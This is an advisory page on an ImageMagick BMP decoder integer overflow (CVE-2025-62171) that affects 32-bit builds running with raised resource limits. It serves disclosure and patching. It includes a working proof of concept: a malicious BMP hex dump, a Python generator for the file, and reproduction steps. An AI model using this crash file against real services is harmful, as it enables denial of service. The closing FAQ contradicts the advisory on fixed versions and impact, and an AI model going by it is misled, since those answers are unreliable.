CVE-2025-62171: ImageMagick vulnerable to denial of service via integer overflow in BMP decoder on 32-bit systems

Published Oct 17, 2025
·
Updated

Summary

CVE-2025-57803 claims to be patched in ImageMagick 7.1.2-2, but the fix is incomplete and ineffective. The latest version 7.1.2-5 remains vulnerable to the same integer overflow attack.

The patch added BMPOverflowCheck() but placed it after the overflow occurs, making it useless. A malicious 58-byte BMP file can trigger AddressSanitizer crashes and DoS.

Affected Versions: - ImageMagick < 7.1.2-2 (originally reported) - ImageMagick 7.1.2-2 through 7.1.2-5 (incomplete patch)

Platform and Configuration Requirements: - 32-bit systems ONLY (i386, i686, armv7l, etc.) - Requires sizet = 4 bytes. (64-bit systems are NOT vulnerable (sizet = 8 bytes)) - Requires modified resource limits: The default width, height, and area limits must have been manually increased (Systems using default ImageMagick resource limits are NOT vulnerable).

---

Details(Root Cause Analysis)

Vulnerable Code Location

File: coders/bmp.c Lines: 1120-1122 (in version 7.1.2-5)

The Incomplete Patch

c // Line 1120: Integer overflow happens HERE extent = image->columns bmpinfo.bitsperpixel; // OVERFLOW!

// Line 1121: Uses already-overflowed value bytesperline = 4((extent+31)/32);

// Line 1122: Checks the RESULT, not the multiplication if (BMPOverflowCheck(bytesperline, image->rows) != MagickFalse) ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile");

Why the Patch Fails

Attack Vector (32-bit system): Input BMP Header: Width: 536,870,912 (0x20000000) Height: 1 Bits Per Pixel: 32

Calculation on 32-bit system: extent = 536,870,912 × 32 = 17,179,869,184 (0x400000000) 32-bit truncation: 0x400000000 & 0xFFFFFFFF = 0x00000000 ← Overflow to ZERO! bytesperline = 4 × ((0 + 31) / 32) = 4 × 0 = 0 BMPOverflowCheck(0, 1): return (1 != 0) && (0 > 4294967295UL/1) return True && (0 > 4294967295) return True && False return False ← Does NOT detect overflow!

The check fails because: 1. The overflow happens at Line 1120 (extent calculation) 2. extent becomes 0 due to 32-bit truncation 3. bytesperline is calculated as 0 (Line 1121) 4. BMPOverflowCheck(0, 1) returns False (no overflow detected) 5. Code proceeds with corrupted values → ASan crash

---

PoC(Proof of Concept)

Minimal 58-byte BMP File

Hex dump: 00000000 42 4d 3a 00 00 00 00 00 00 00 36 00 00 00 28 00 |BM:.......6...(.| 00000010 00 00 00 00 00 20 01 00 00 00 01 00 20 00 00 00 |..... ...... ...| 00000020 00 00 00 00 00 00 13 0b 00 00 13 0b 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 |..........|

Key Fields: - Offset 0x12: Width = 00 00 00 20 = 0x20000000 (536,870,912) - Offset 0x16: Height = 01 00 00 00 = 1 - Offset 0x1C: BPP = 20 00 = 32

Python Generator

python #!/usr/bin/env python3 import struct

width = 0x20000000 # 536,870,912 height = 1 bpp = 32

BMP File Header (14 bytes) fileheader = b'BM' fileheader += struct.pack('<I', 58) # File size fileheader += struct.pack('<HH', 0, 0) # Reserved fileheader += struct.pack('<I', 54) # Pixel offset

DIB Header (40 bytes) dibheader = struct.pack('<I', 40) # Header size dibheader += struct.pack('<i', width) # Width dibheader += struct.pack('<i', height) # Height dibheader += struct.pack('<H', 1) # Planes dibheader += struct.pack('<H', bpp) # BPP dibheader += struct.pack('<I', 0) # Compression dibheader += struct.pack('<I', 0) # Image size dibheader += struct.pack('<i', 2835) # X ppm dibheader += struct.pack('<i', 2835) # Y ppm dibheader += struct.pack('<I', 0) # Colors dibheader += struct.pack('<I', 0) # Important colors

pixeldata = b'\x00\x00\x00\x00'

with open('overflow.bmp', 'wb') as f: f.write(fileheader + dibheader + pixeldata)

print(f"Created overflow.bmp (58 bytes)")

---

Reproduction Steps

Environment Setup

bash Use 32-bit Docker container docker run -it --name test-32bit i386/ubuntu:latest bash

Install dependencies apt-get update apt-get install -y clang build-essential wget tar \ libpng-dev libjpeg-dev libfreetype6-dev libxml2-dev \ zlib1g-dev liblzma-dev libbz2-dev

Download ImageMagick 7.1.2-5 cd /tmp wget https://github.com/ImageMagick/ImageMagick/archive/refs/tags/7.1.2-5.tar.gz tar xzf 7.1.2-5.tar.gz cd ImageMagick-7.1.2-5

Build with AddressSanitizer (32-bit IMPORTANT!)

bash Configure for 32-bit build (CRITICAL - must be 32-bit!) ./configure \ --host=i686-pc-linux-gnu \ --disable-dependency-tracking \ --disable-silent-rules \ --disable-shared \ --disable-openmp \ --disable-docs \ --without-x \ --without-perl \ --without-magick-plus-plus \ --without-lqr \ --without-zstd \ --without-tiff \ --with-quantum-depth=8 \ --disable-hdri \ CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ LDFLAGS="-fsanitize=address,undefined"

make -j$(nproc)

Trigger the Vulnerability

bash Set environment to bypass cache.c limits export ASANOPTIONS="detectleaks=0:malloccontextsize=20:allocatormayreturnnull=1" export MAGICKWIDTHLIMIT=2000000000 export MAGICKHEIGHTLIMIT=2000000000 export MAGICKAREALIMIT=10000000000

Test with malicious BMP (use Python script above to create it) ./utilities/magick identify overflow.bmp

---

AddressSanitizer Output

==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asanpoisoning.cc:37 "((AddrIsInMem(addr + size - (1ULL << kDefaultShadowScale)))) != (0)" (0x0, 0x0) ================================================================= ==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asandescriptions.cc:80 "((0 && "Address is not in memory and not in shadow?")) != (0)" (0x0, 0x0) ==56720==WARNING: ASan is ignoring requested asanhandlenoreturn: stack top: 0x40801000; bottom 0x4372f000; size: 0xfd0d2000 (-49471488) False positive error reports may follow For details see https://github.com/google/sanitizers/issues/189

It operates in the following environments.

export MAGICKWIDTHLIMIT=2000000000 export MAGICKHEIGHTLIMIT=2000000000 export MAGICKAREALIMIT=10000000000

Impact

Attack Scenario

1. Attacker creates a 58-byte malicious BMP file 2. Uploads to web service that uses ImageMagick (on 32-bit system) 3. ImageMagick attempts to process the image 4. Integer overflow triggers AddressSanitizer crash 5. Service becomes unavailable (Denial of Service)

Real-world targets: - Web hosting platforms with image processing - CDN services with thumbnail generation - Legacy embedded systems - IoT devices running 32-bit Linux - Docker containers using 32-bit base images

---

Recommended Fix

Correct Patch

The overflow check must happen before the multiplication:

c // Add overflow check BEFORE calculating extent if (BMPOverflowCheck(image->columns, bmpinfo.bitsperpixel) != MagickFalse) ThrowReaderException(CorruptImageError, "IntegerOverflowInDimensions");

// Now safe to calculate extent = image->columns bmpinfo.bitsperpixel; bytesperline = 4((extent+31)/32);

// Additional safety check if (BMPOverflowCheck(bytesperline, image->rows) != MagickFalse) ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile");

Alternative: Use 64-bit Arithmetic

c // Force 64-bit calculation uint64t extent64 = (uint64t)image->columns (uint64t)bmpinfo.bitsperpixel;

if (extent64 > UINT32MAX) ThrowReaderException(CorruptImageError, "ImageDimensionsTooLarge");

extent = (sizet)extent64; bytesperline = 4((extent+31)/32);

Credits wooseokdotkim wooseokdotkim@gmail.com

Other sources

ImageMagick is an open source software suite for displaying, converting, and editing raster image files. In ImageMagick versions prior to 7.1.2-7 and 6.9.13-32, an integer overflow vulnerability exists in the BMP decoder on 32-bit systems. The vulnerability occurs in coders/bmp.c when calculating the extent value by multiplying image columns by bits per pixel. On 32-bit systems with sizet of 4 bytes, a malicious BMP file with specific dimensions can cause this multiplication to overflow and wrap to zero. The overflow check added to address CVE-2025-57803 is placed after the overflow occurs, making it ineffective. A specially crafted 58-byte BMP file with width set to 536,870,912 and 32 bits per pixel can trigger this overflow, causing the bytesperline calculation to become zero. This vulnerability only affects 32-bit builds of ImageMagick where default resource limits for width, height, and area have been manually increased beyond their defaults. 64-bit systems with sizet of 8 bytes are not vulnerable, and systems using default ImageMagick resource limits are not vulnerable. The vulnerability is fixed in versions 7.1.2-7 and 6.9.13-32.

MITRE

Affected Software

9 affected componentsFixes available
ImageMagick ImageMagick<7.1.2-7, <6.9.13-32
ImageMagick ImageMagick<6.9.13-32
ImageMagick ImageMagick>=7.0.0-0<7.1.2-7
nuget/Magick.NET-Q8-x86<14.9.0
14.9.0
nuget/Magick.NET-Q8-AnyCPU<14.9.0
14.9.0
nuget/Magick.NET-Q16-x86<14.9.0
14.9.0
nuget/Magick.NET-Q16-HDRI-x86<14.9.0
14.9.0
nuget/Magick.NET-Q16-HDRI-AnyCPU<14.9.0
14.9.0
nuget/Magick.NET-Q16-AnyCPU<14.9.0
14.9.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade nuget/Magick.NET-Q8-x86 to a version that resolves this vulnerability.

    Fixed in 14.9.0
  2. Upgrade

    Upgrade nuget/Magick.NET-Q8-AnyCPU to a version that resolves this vulnerability.

    Fixed in 14.9.0
  3. Upgrade

    Upgrade nuget/Magick.NET-Q16-x86 to a version that resolves this vulnerability.

    Fixed in 14.9.0
  4. Upgrade

    Upgrade nuget/Magick.NET-Q16-HDRI-x86 to a version that resolves this vulnerability.

    Fixed in 14.9.0
  5. Upgrade

    Upgrade nuget/Magick.NET-Q16-HDRI-AnyCPU to a version that resolves this vulnerability.

    Fixed in 14.9.0
  6. Upgrade

    Upgrade nuget/Magick.NET-Q16-AnyCPU to a version that resolves this vulnerability.

    Fixed in 14.9.0
  7. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 7.1.2-7
  8. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 6.9.13-32
  9. Compensating control

    On 32-bit systems running ImageMagick, keep default resource limits for width, height, and area (do NOT manually increase width/height/area beyond defaults). The vulnerability requires manually increased width/height/area limits; systems using default ImageMagick resource limits are stated as NOT vulnerable.

Event History

Oct 17, 2025
CVE Published
via MITRE·04:30 PM
Data Sourced
via MITRE·04:30 PM
DescriptionSeverityWeakness
Data Sourced
via Red Hat·05:02 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·05:15 PM
RemedyDescriptionSeverityWeaknessAffected Software
Oct 28, 2025
Advisory Published
via GitHub·02:43 PM
Data Sourced
via GitHub·02:43 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2025-62171?

CVE-2025-62171 is classified as a high severity vulnerability due to its potential for integer overflow attacks.

2

How do I fix CVE-2025-62171?

To mitigate CVE-2025-62171, upgrade ImageMagick to version 14.9.0 or a later version that addresses the vulnerability.

3

Which versions of ImageMagick are affected by CVE-2025-62171?

CVE-2025-62171 affects ImageMagick versions prior to 7.1.2-8 and below 6.9.13-33.

4

What types of attacks can CVE-2025-62171 be exploited for?

CVE-2025-62171 can be exploited for integer overflow attacks, potentially allowing attackers to execute arbitrary code.

5

Is CVE-2025-62171 patched in the latest ImageMagick version?

The patch for CVE-2025-62171 is incomplete in version 7.1.2-5, so users should ensure they use the most recent version available.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203